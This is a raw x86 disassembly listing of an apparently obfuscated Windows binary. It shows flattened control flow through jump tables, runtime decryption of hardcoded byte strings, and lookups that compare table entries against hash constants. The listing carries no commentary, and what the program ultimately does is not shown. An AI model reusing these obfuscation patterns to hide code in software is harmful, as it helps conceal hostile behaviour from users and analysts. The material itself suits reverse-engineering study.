mov byte [ecx + 2], 0x22
mov eax, 3
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 6
jne 0x41a1da
xor eax, eax
cmp eax, 6
jae 0x41a23a
mov ecx, dword [esi + 0x10]
movzx ecx, byte [ecx + eax]
mov edi, eax
add edi, 0x8a150378
mov edx, 0x15eafc87
sub edx, eax
and edx, 0x19001828
xor ecx, 0xbb90992b
and edi, 0xe6ffe7d7
or edx, edi
xor edx, 0xa2908103
mov edi, ecx
and edi, edx
shl edi, 1
add ecx, edx
sub ecx, edi
mov edi, dword [esi]
add cl, 0xa8
mov edx, dword [esi + 0x10]
mov byte [edx + eax], cl
mov ecx, dword [esi + 0x10]
add eax, 1
jmp 0x41a1e8
sub esp, 8
mov eax, dword [esi + 4]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00404620
add esp, 8
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x174]
mov al, byte [eax]
mov byte [esi + 0x124], al
mov ecx, dword [esi + 0x50]
mov byte [ecx], 0x61
mov byte [ecx + 1], 0x53
mov byte [ecx + 2], 0xc2
mov eax, 3
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 6
jne 0x41a273
xor eax, eax
cmp eax, 6
jae 0x41a2c0
movzx edx, byte [ecx + eax]
mov ecx, eax
add ecx, 0xb0
mov edi, eax
add edi, 0xb0
or ecx, edi
and ecx, edx
mov edi, eax
add edi, 0x3cf16db0
or edi, edx
mov edx, ecx
xor edx, edi
xor ecx, edi
mov edi, dword [esi]
or edx, ecx
mov ecx, dword [esi + 0x50]
add dl, 0x90
mov byte [ecx + eax], dl
add eax, 1
jmp 0x41a281
sub esp, 8
mov dword [esp + 4], ecx
mov eax, dword [esi + 4]
mov dword [esp], eax
call fcn.00404620
add esp, 8
mov ebx, eax
sub esp, 4
mov dword [esp], edi
call fcn.0041c980
add esp, 4
mov dword [esi + 0x1f4], eax
cmp dword [esi + 0x64], 0
setne dl
mov dword [esi + 0x5f8], 1
mov eax, dword [esi + 0x5fc]
mov ecx, dword [esi + 0x5f8]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov ebx, eax
mov dword [esp], eax
call fcn.0041c550
add esp, 4
mov edi, eax
mov dword [esi + 0x160], edi
inc edi
mov ecx, edi
add ecx, ecx
mov eax, 0xffffffff
jb 0x41a333
mov eax, ecx
sub esp, 4
mov dword [esp], eax
call fcn.0040cdd0
sub esp, 0xc
mov dword [esp + 8], ebx
mov ebx, eax
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0xc], 0
call fcn.0040eef0
add esp, 0x10
mov eax, dword [0x45143c]
sub esp, 0x18
mov edi, dword [esi + 0x190]
mov dword [esp + 0x14], edi
mov ecx, dword [esi + 0x160]
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp], 0
call eax
mov eax, dword [edi]
add eax, eax
mov ecx, 0xffffffff
jb 0x41a3a4
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040cdd0
add esp, 4
mov edi, eax
mov eax, dword [0x45143c]
mov edx, dword [esi + 0x190]
mov ecx, dword [edx]
sub esp, 0x18
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edi
mov ecx, dword [esi + 0x160]
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], 0
call eax
mov dword [esi + 0x6f8], 0
mov eax, dword [esi + 0x6fc]
mov ecx, dword [esi + 0x6f8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x510], 1
mov eax, dword [esi + 0x514]
mov ecx, dword [esi + 0x510]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x220]
mov al, byte [eax]
mov byte [esi + 0xdc], al
mov ecx, dword [esi + 0x8c]
mov byte [ecx], 0xc5
mov byte [ecx + 1], 0x39
mov eax, 2
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 7
jne 0x41a48c
xor eax, eax
cmp eax, 7
jae 0x41a4d3
movzx edi, byte [ecx + eax]
mov ecx, eax
add ecx, 0xf6
and ecx, edi
mov edx, edi
shl edx, 1
xor edx, 0xffffffff
add edx, edi
mov edi, 9
sub edi, eax
and edx, edi
or ecx, edx
mov dl, 0x31
sub dl, cl
mov ecx, dword [esi + 0x8c]
mov byte [ecx + eax], dl
add eax, 1
jmp 0x41a49a
mov eax, dword [esi + 0x790]
mov ecx, dword [esi + 0x794]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x3b8], 0
mov eax, dword [esi + 0x3bc]
mov ecx, dword [esi + 0x3b8]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, edx
sub ecx, 2
sete al
mov dword [esi + 0x538], eax
mov eax, dword [esi + 0x53c]
mov ecx, dword [esi + 0x538]
mov eax, dword [eax + ecx*4]
xor ebx, ebx
jmp eax
mov eax, dword [esi + 0x540]
mov ecx, dword [esi + 0x544]
mov eax, dword [ecx + eax*4]
xor edi, edi
mov dword [esi + 0x18], 0
jmp eax
mov eax, dword [esi + 0x7d0]
mov ecx, dword [esi + 0x7d4]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
xor eax, eax
sub edi, 2
sete al
mov dword [esi + 0x440], eax
mov eax, dword [esi + 0x444]
mov ecx, dword [esi + 0x440]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x1a4]
mov al, byte [eax]
mov byte [esi + 0xe4], al
mov edx, dword [esi + 0x30]
mov byte [edx], 0xab
mov byte [edx + 1], 0x27
mov eax, 2
mov byte [edx + eax], 0
add eax, 1
cmp eax, 7
jne 0x41a60e
xor eax, eax
cmp eax, 7
jae 0x41a65c
movzx edi, byte [edx + eax]
mov edx, eax
add edx, 0xdbd6b439
mov ecx, eax
add ecx, 0x39
and ecx, edi
or edx, edi
mov edi, edx
shl edi, 1
xor edi, 0xffffffff
add edx, edi
or ecx, edx
mov dl, 0xe2
sub dl, cl
mov ecx, dword [esi + 0x30]
mov byte [ecx + eax], dl
mov edx, dword [esi + 0x30]
mov ecx, eax
shl ecx, 1
and ecx, 2
xor eax, 1
add eax, ecx
jmp 0x41a61c
sub esp, 8
mov eax, dword [esi + 4]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00404620
add esp, 8
mov dword [esi + 0x1f0], eax
mov eax, dword [esi + 0x1a0]
mov al, byte [eax]
mov byte [esi + 0xec], al
mov ecx, dword [esi + 0x2c]
mov byte [ecx], 0xbe
mov byte [ecx + 1], 0xaf
mov byte [ecx + 2], 0xda
mov eax, 3
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 6
jne 0x41a698
xor eax, eax
cmp eax, 6
jae 0x41a6da
movzx edx, byte [ecx + eax]
mov ecx, eax
add ecx, 0xcf
mov edi, edx
xor edi, 0xffffffff
and ecx, edi
mov edi, 0x30
sub edi, eax
and edi, edx
or ecx, edi
add cl, 0xf5
mov edx, dword [esi + 0x2c]
mov byte [edx + eax], cl
mov ecx, dword [esi + 0x2c]
add eax, 1
jmp 0x41a6a6
sub esp, 8
mov dword [esp + 4], ecx
mov eax, dword [esi + 4]
mov dword [esp], eax
call fcn.00404750
add esp, 8
fnstcw word [esi + 0x3e]
movzx eax, word [esi + 0x3e]
or eax, 0xc00
mov word [esi + 0x15e], ax
fldcw word [esi + 0x15e]
fistp dword [esi + 0x22c]
fldcw word [esi + 0x3e]
mov edx, dword [esi + 0x22c]
mov eax, dword [esi + 0x19c]
mov al, byte [eax]
mov byte [esi + 0xf4], al
mov ecx, dword [esi + 0x28]
mov byte [ecx], 0x8f
mov byte [ecx + 1], 0x2b
mov eax, 2
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 6
jne 0x41a734
mov dword [esi + 0x18], edx
xor edi, edi
cmp edi, 6
jae 0x41a7a4
movzx eax, byte [ecx + edi]
mov dword [esi + 0x1b8], eax
mov ecx, edi
add ecx, 0xd74007
mov edx, ecx
and edx, eax
mov eax, edx
and eax, 2
xor eax, 2
mov ebx, edx
and ebx, 0xfd
imul ebx, eax
mov eax, edx
and eax, 2
or edx, 2
imul edx, eax
add edx, ebx
add ecx, dword [esi + 0x1b8]
mov eax, ecx
xor eax, edx
xor edx, 0xffffffff
and ecx, edx
shl ecx, 1
sub ecx, eax
add cl, 0xdd
mov eax, dword [esi + 0x28]
mov byte [eax + edi], cl
mov ecx, dword [esi + 0x28]
add edi, 1
jmp 0x41a745
sub esp, 8
mov dword [esp + 4], ecx
mov eax, dword [esi + 4]
mov dword [esp], eax
call fcn.00404750
add esp, 8
fnstcw word [esi + 0x3c]
movzx eax, word [esi + 0x3c]
or eax, 0xc00
mov word [esi + 0x15c], ax
fldcw word [esi + 0x15c]
fistp dword [esi + 0x228]
fldcw word [esi + 0x3c]
mov edi, dword [esi + 0x228]
sub esp, 0x10
mov eax, dword [esi + 0x1f0]
mov dword [esp + 8], eax
mov ebx, dword [esi + 0x198]
mov dword [esp], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0x400
call fcn.0040eef0
add esp, 4
mov eax, dword [esi + 0x58]
mov dword [esp + 8], eax
mov eax, dword [esi + 0x14]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0040f650
add esp, 0xc
mov dword [esi + 0x738], 1
mov ecx, dword [esi + 0x73c]
mov edx, dword [esi + 0x738]
mov ecx, dword [ecx + edx*4]
mov edx, dword [esi + 0x1c]
mov ebx, dword [esi + 8]
jmp ecx
movzx eax, bh
and eax, 1
mov dword [esi + 0x488], eax
mov eax, dword [esi + 0x48c]
mov ecx, dword [esi + 0x488]
mov eax, dword [eax + ecx*4]
mov dword [esi + 0xc], 0
mov dword [esi], 0
mov ebx, dword [esi + 8]
jmp eax
xor eax, eax
mov ecx, edi
sub ecx, 2
setl al
mov dword [esi + 0x448], eax
mov eax, dword [esi + 0x44c]
mov ecx, dword [esi + 0x448]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x6e0]
mov ecx, dword [esi + 0x6e4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x3e8], 1
mov eax, dword [esi + 0x3ec]
mov ecx, dword [esi + 0x3e8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x3f0], 0
mov eax, dword [esi + 0x3f4]
mov ecx, dword [esi + 0x3f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x458]
mov ecx, dword [esi + 0x45c]
mov eax, dword [ecx + eax*4]
jmp eax
mov byte [esi + 0x26], dl
movzx eax, dl
and eax, 1
mov dword [esi + 0x5f0], eax
mov eax, dword [esi + 0x5f4]
mov ecx, dword [esi + 0x5f0]
mov eax, dword [eax + ecx*4]
xor edi, edi
jmp eax
mov eax, dword [esi + 0x750]
mov ecx, dword [esi + 0x754]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 8]
jmp eax
mov eax, dword [esi + 0x590]
mov ecx, dword [esi + 0x594]
mov eax, dword [ecx + eax*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x418], ecx
mov eax, dword [esi + 0x41c]
mov ecx, dword [esi + 0x418]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 8]
jmp eax
mov eax, dword [esi + 0x770]
mov ecx, dword [esi + 0x774]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x7c8]
mov ecx, dword [esi + 0x7cc]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
mov dword [esi + 0x34], edi
mov edi, dword [esi + 0x1c]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x6b0], 0
mov eax, dword [esi + 0x6b4]
mov ecx, dword [esi + 0x6b0]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x38]
jmp eax
call fcn.0040e5f0
sub esp, 4
mov dword [esp], ebx
call fcn.0040cee0
add esp, 4
mov edi, eax
mov dword [esi + 0x5b0], 0
mov eax, dword [esi + 0x5b4]
mov ecx, dword [esi + 0x5b0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
sub esp, 0x1c
mov eax, dword [esi + 0x7c]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 0x18], 0x80
mov dword [esp + 0x14], 0x60
mov dword [esp + 0x10], 5
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x100002
call fcn.00444a80
add esp, 0x1c
mov ebx, eax
xor eax, eax
test ebx, ebx
setns cl
mov dword [esi + 0x640], 0
mov edx, dword [esi + 0x644]
mov edi, dword [esi + 0x640]
mov edx, dword [edx + edi*4]
mov edi, dword [esi]
jmp edx
mov eax, dword [esi + 0x4c8]
mov ecx, dword [esi + 0x4cc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x214]
mov al, byte [eax]
mov byte [esi + 0x110], al
mov ecx, dword [esi + 0x80]
mov byte [ecx], 0x3a
mov byte [ecx + 1], 9
mov byte [ecx + 2], 0xea
mov byte [ecx + 3], 0xf
mov byte [ecx + 4], 0xf0
mov byte [ecx + 5], 0xd
mov byte [ecx + 6], 0xfe
mov byte [ecx + 7], 3
mov byte [ecx + 8], 0
mov byte [ecx + 9], 1
mov eax, 0xa
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0xe
jne 0x41ad6d
xor edx, edx
mov edi, dword [esi]
cmp edx, 0xe
jae 0x41ae36
movzx edi, byte [ecx + edx]
mov dword [esi + 0x40], edx
mov ebx, dword [esi + 0x40]
add ebx, 0x3987fcc2
mov ecx, edi
shl ecx, 1
xor ecx, 0xffffffff
add ecx, edi
mov eax, ecx
xor eax, 0x82
or ecx, 0x7d
and ecx, eax
and edi, 0x82
mov eax, edi
mov edi, dword [esi + 0x40]
add edi, 0x3987fcc2
or edi, 0x3fadc17d
sub edi, dword [esi + 0x40]
mov edx, edi
add edx, 0x4678033e
mov dword [esi + 0x1ac], edx
mov edx, ebx
and edx, 0x82
mov dword [esi + 0x1b0], edx
or ecx, eax
mov eax, 0x3987fcc1
sub eax, edi
and eax, 0xa313db37
mov edx, dword [esi + 0x1ac]
and edx, 0x5cec24c8
or eax, edx
and ebx, 0x82
xor ebx, eax
xor ebx, 0x37
add edi, 0x3e
mov eax, dword [esi + 0x1b0]
and eax, edi
mov edi, dword [esi]
or ebx, eax
xor ecx, ebx
mov edx, dword [esi + 0x40]
add cl, 0x36
mov eax, dword [esi + 0x80]
mov byte [eax + edx], cl
mov ecx, dword [esi + 0x80]
add edx, 1
jmp 0x41ad7d
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], edi
call fcn.0041c930
add esp, 8
mov eax, dword [esi + 0x680]
mov ecx, dword [esi + 0x684]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x170]
mov dword [eax + 4], 0xffffffff
mov dword [eax], 0xdc3cba00
mov al, byte [esi + 0x138]
mov byte [esi + 0x144], al
mov byte [esi + 0x13c], 0x2f
mov byte [esi + 0x13d], 0x2e
mov byte [esi + 0x13e], 0x2d
mov byte [esi + 0x13f], 0x2c
mov eax, 4
mov byte [esi + eax + 0x13c], 0
add eax, 1
cmp eax, 6
jne 0x41af62
xor eax, eax
cmp eax, 6
jae 0x41afa4
mov dl, byte [esi + eax + 0x13c]
movzx edi, dl
mov ecx, eax
add ecx, 0xf8a5adb8
mov ebx, ecx
and ebx, edi
shl ebx, 1
sub ecx, ebx
add cl, dl
add cl, 0x68
mov byte [esi + eax + 0x13c], cl
add eax, 1
jmp 0x41af74
mov ecx, dword [esi + 0x13c]
xor edi, edi
cmp edi, dword [0x451440]
jb 0x41afb6
jmp 0x41b027
mov eax, dword [0x451444]
cmp dword [eax + edi*8], 0x4e66b5a3
sete bl
test bl, 1
jne 0x41afcc
jmp 0x41b01b
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x41b01b
mov dword [esi + 0x1d4], ecx
mov ecx, dword [0x451448]
xor edx, edx
sub esp, 0x18
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 3
mov eax, dword [esi + 0x60]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov eax, dword [esi + 0x170]
mov dword [esp + 0x14], eax
call fcn.004417a0
mov ecx, dword [esi + 0x1d4]
add esp, 0x18
test bl, 1
je 0x41b022
jmp 0x41b027
add edi, 1
jmp 0x41afac
mov al, byte [esi + 0xac]
mov byte [esi + 0x150], al
mov byte [esi + 0xb0], 0x2f
mov byte [esi + 0xb1], 0x2e
mov byte [esi + 0xb2], 0x2d
mov byte [esi + 0xb3], 0x2c
mov eax, 4
mov byte [esi + eax + 0xb0], 0
add eax, 1
cmp eax, 6
jne 0x41b054
xor eax, eax
cmp eax, 6
jae 0x41b096
mov dl, byte [esi + eax + 0xb0]
movzx edi, dl
mov ecx, eax
add ecx, 0xf8a5adb8
mov ebx, ecx
and ebx, edi
shl ebx, 1
sub ecx, ebx
add cl, dl
add cl, 0x68
mov byte [esi + eax + 0xb0], cl
add eax, 1
jmp 0x41b066
mov ecx, dword [esi + 0xb0]
xor edi, edi
mov ebx, dword [esi + 8]
cmp edi, dword [0x451440]
jb 0x41b0ab
jmp 0x41b110
mov eax, dword [0x451444]
cmp dword [eax + edi*8], 0xb62b8d10
sete bl
test bl, 1
jne 0x41b0c1
jmp 0x41b0fe
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
jne 0x41b0cb
jmp 0x41b0fe
mov dword [esi + 0x1c8], ecx
mov ecx, dword [0x451448]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
mov eax, dword [esi + 0x60]
mov dword [esp + 0xc], eax
call fcn.004417a0
mov ecx, dword [esi + 0x1c8]
add esp, 0x10
test bl, 1
je 0x41b108
mov ebx, dword [esi + 8]
jmp 0x41b110
add edi, 1
mov ebx, dword [esi + 8]
jmp 0x41b0a1
mov eax, dword [esi + 0x398]
mov ecx, dword [esi + 0x39c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x7b8]
mov ecx, dword [esi + 0x7bc]
mov ecx, dword [ecx + eax*4]
mov al, 1
jmp ecx
call fcn.0040e5f0
mov dword [esi + 0x3b0], 1
mov eax, dword [esi + 0x3b4]
mov ecx, dword [esi + 0x3b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x21c]
mov al, byte [eax]
mov byte [esi + 0x100], al
mov ecx, dword [esi + 0x18c]
mov byte [ecx], 0x80
mov byte [ecx + 1], 0x81
mov byte [ecx + 2], 0xbc
mov byte [ecx + 3], 0x3c
mov eax, 4
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 7
jne 0x41b17c
xor eax, eax
cmp eax, 7
jae 0x41b200
movzx edx, byte [ecx + eax]
mov ecx, eax
and ecx, 0xc5970860
xor ecx, 0xc5970860
mov edi, eax
and edi, 0x3a68f79f
sub edi, ecx
mov ebx, edx
xor ebx, 0xffffffff
mov ecx, edi
and ecx, ebx
mov ebx, edi
shl ebx, 1
xor ebx, 0xffffffff
add edi, ebx
and edi, edx
or ecx, edi
mov edx, ecx
add edx, 1
mov edi, ecx
xor edi, 0xffffffff
or edi, 0x5bf329df
add edi, edx
shl edi, 1
mov edx, ecx
xor edx, 0xdbf329df
add edx, edi
shl ecx, 1
and ecx, 2
xor ecx, 2
mov ebx, edx
and ebx, ecx
or edx, ecx
mov ecx, dword [esi + 0x18c]
xor edx, 1
add ebx, edx
mov byte [ecx + eax], bl
add eax, 1
jmp 0x41b18a
mov edi, ecx
call fcn.0040e5f0
call fcn.0040e5f0
mov eax, dword [edi]
mov eax, dword [eax + 0x14]
sub esp, 4
mov dword [esp], eax
call fcn.0040d560
add esp, 4
call fcn.0040d570
mov edi, eax
and edi, 0xf
or edi, 0x10
mov eax, dword [esi + 0x6d0]
mov ecx, dword [esi + 0x6d4]
mov eax, dword [ecx + eax*4]
xor edx, edx
mov ebx, dword [esi + 0x188]
jmp eax
mov eax, dword [esi + 0x6d8]
mov ecx, dword [esi + 0x6dc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x5a0], 0
mov eax, dword [esi + 0x5a4]
mov ecx, dword [esi + 0x5a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esi + 0x688], eax
mov eax, dword [esi + 0x68c]
mov ecx, dword [esi + 0x688]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
test edi, edi
sete al
mov dword [esi + 0x438], eax
mov eax, dword [esi + 0x43c]
mov ecx, dword [esi + 0x438]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x710], 0
mov eax, dword [esi + 0x714]
mov ecx, dword [esi + 0x710]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x54]
jmp eax
mov eax, dword [esi + 0x660]
mov ecx, dword [esi + 0x664]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
sub esp, 4
mov eax, dword [esi + 0x5c]
mov dword [esp], eax
call fcn.0040cde0
add esp, 4
mov dword [esi + 0x470], 0
mov eax, dword [esi + 0x474]
mov ecx, dword [esi + 0x470]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x778], 0
mov eax, dword [esi + 0x77c]
mov ecx, dword [esi + 0x778]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x164], ebx
mov al, cl
and eax, 1
mov dword [esi + 0x638], eax
mov eax, dword [esi + 0x63c]
mov ecx, dword [esi + 0x638]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov edx, edi
inc edx
mov dword [esi + 0x598], 0
mov eax, dword [esi + 0x59c]
mov ecx, dword [esi + 0x598]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, dl
and ecx, 1
mov dword [esi + 0x700], ecx
mov ecx, dword [esi + 0x704]
mov edx, dword [esi + 0x700]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esi + 0x4b8]
mov ecx, dword [esi + 0x4bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.0041c550
add esp, 4
mov edi, eax
and edi, 1
or eax, 1
add edi, eax
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41b4ee
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040cdd0
add esp, 4
mov edx, eax
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x10
mov dword [esi + 0x5c], edx
mov dword [esp], edx
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040eef0
add esp, 0x10
mov eax, dword [esi + 0x58]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
add ecx, 0xffffffe8
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 1
shl ecx, 1
xor eax, 1
add eax, ecx
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41b55b
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040cdd0
add esp, 4
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0x200]
mov al, byte [eax]
mov byte [esi + 0x134], al
mov ecx, dword [esi + 0x74]
mov byte [ecx], 0xdc
mov byte [ecx + 1], 0x4b
mov byte [ecx + 2], 0xdb
mov byte [ecx + 3], 0x49
mov byte [ecx + 4], 0xc1
mov byte [ecx + 5], 0x47
mov byte [ecx + 6], 0xdd
mov byte [ecx + 7], 0x45
mov byte [ecx + 8], 0xca
mov byte [ecx + 9], 0x43
mov byte [ecx + 0xa], 0xcf
mov byte [ecx + 0xb], 0x41
mov byte [ecx + 0xc], 0xd8
mov byte [ecx + 0xd], 0x7f
mov byte [ecx + 0xe], 0xe5
mov byte [ecx + 0xf], 0x7d
mov byte [ecx + 0x10], 0xe8
mov byte [ecx + 0x11], 0x7b
mov byte [ecx + 0x12], 0xee
mov byte [ecx + 0x13], 0x79
mov byte [ecx + 0x14], 0x58
mov byte [ecx + 0x15], 0x77
mov byte [ecx + 0x16], 0xa5
mov byte [ecx + 0x17], 0x75
mov byte [ecx + 0x18], 0xef
mov byte [ecx + 0x19], 0x73
mov byte [ecx + 0x1a], 0xfa
mov byte [ecx + 0x1b], 0x71
mov byte [ecx + 0x1c], 0xeb
mov byte [ecx + 0x1d], 0x6f
mov byte [ecx + 0x1e], 0xf3
mov byte [ecx + 0x1f], 0x6d
mov byte [ecx + 0x20], 0x4c
mov byte [ecx + 0x21], 0x6b
mov byte [ecx + 0x22], 0xf4
mov byte [ecx + 0x23], 0x69
mov byte [ecx + 0x24], 0xef
mov byte [ecx + 0x25], 0x67
mov byte [ecx + 0x26], 0xf6
mov byte [ecx + 0x27], 0x65
mov byte [ecx + 0x28], 0xfb
mov byte [ecx + 0x29], 0x63
mov byte [ecx + 0x2a], 0xef
mov byte [ecx + 0x2b], 0x61
mov byte [ecx + 0x2c], 0xed
mov byte [ecx + 0x2d], 0x1f
mov byte [ecx + 0x2e], 0x3e
mov byte [ecx + 0x2f], 0x1d
mov byte [ecx + 0x30], 0x1c
mov byte [ecx + 0x31], 0x1b
mov eax, 0x32
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x34
jne 0x41b649
xor eax, eax
cmp eax, 0x34
jae 0x41b68a
movzx edx, byte [ecx + eax]
mov ecx, eax
add ecx, 0x9a50613
xor ecx, edx
mov edx, ecx
shl edx, 1
and edx, 2
xor ecx, 1
add ecx, 0x22
add ecx, edx
add cl, 0x7e
mov edx, dword [esi + 0x74]
mov byte [edx + eax], cl
mov ecx, dword [esi + 0x74]
add eax, 1
jmp 0x41b657
sub esp, 8
mov dword [esp + 4], ecx
mov eax, dword [esi + 0xc]
mov dword [esp], eax
call fcn.0040f610
mov ecx, dword [esi + 0x5c]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f610
add esp, 8
mov dword [esi + 0x480], 0
mov eax, dword [esi + 0x484]
mov ecx, dword [esi + 0x480]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x648], 1
mov eax, dword [esi + 0x64c]
mov ecx, dword [esi + 0x648]
mov eax, dword [eax + ecx*4]
mov dword [esi], edi
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x5b8], 1
mov eax, dword [esi + 0x5bc]
mov ecx, dword [esi + 0x5b8]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0xc], ebx
mov dword [esi], edi
mov eax, dword [esi + 0x4f8]
mov ecx, dword [esi + 0x4fc]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
mov eax, edi
add eax, 2
mov word [edi], 0x2c
sub esp, 0x10
mov ecx, dword [esi + 0x64]
mov dword [esp + 8], ecx
mov ecx, dword [esi + 0x168]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 0
call fcn.0040eef0
add esp, 0x10
lea edi, [edi + eax*2 + 2]
mov eax, dword [esi + 0x568]
mov ecx, dword [esi + 0x56c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x588]
mov ecx, dword [esi + 0x58c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x168]
jmp eax
mov eax, dword [esi + 0x180]
mov al, byte [eax]
mov byte [esi + 0x10c], al
mov byte [edi], 0x6e
mov byte [edi + 1], 0x3b
mov byte [edi + 2], 0x91
mov byte [edi + 3], 0x39
mov byte [edi + 4], 0xa0
mov byte [edi + 5], 0x27
mov byte [edi + 6], 0x8d
mov byte [edi + 7], 0x25
mov byte [edi + 8], 0x24
mov byte [edi + 9], 0x23
mov eax, 0xa
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x10
jne 0x41b7e5
xor eax, eax
cmp eax, 0x10
jae 0x41b813
mov ecx, dword [esi + 0x38]
mov cl, byte [ecx + eax]
mov dl, al
add dl, 0xb
xor dl, cl
mov edi, dword [esi + 0x38]
add dl, 0xc9
mov byte [edi + eax], dl
add eax, 1
jmp 0x41b7f3
sub esp, 8
mov dword [esp + 4], edi
mov eax, dword [esi]
mov dword [esp], eax
call fcn.0041c930
add esp, 8
mov dword [esi + 0x6a8], 0
mov eax, dword [esi + 0x6ac]
mov ecx, dword [esi + 0x6a8]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esi + 0x730], eax
mov eax, dword [esi + 0x734]
mov ecx, dword [esi + 0x730]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x490], 0
mov eax, dword [esi + 0x494]
mov ecx, dword [esi + 0x490]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esi + 0x670], eax
mov eax, dword [esi + 0x674]
mov ecx, dword [esi + 0x670]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi]
jmp eax
mov byte [esi + 0x27], dl
movzx eax, dl
and eax, 1
mov dword [esi + 0x718], eax
mov eax, dword [esi + 0x71c]
mov ecx, dword [esi + 0x718]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
sub esp, 8
mov dword [esi + 0x1c], esp
push eax
mov dword [esi + 0x1a8], esp
push eax
mov dword [esi + 0x90], esp
push eax
mov dword [esi + 0x224], esp
sub esp, 8
mov edx, esp
push eax
mov edi, esp
sub esp, 8
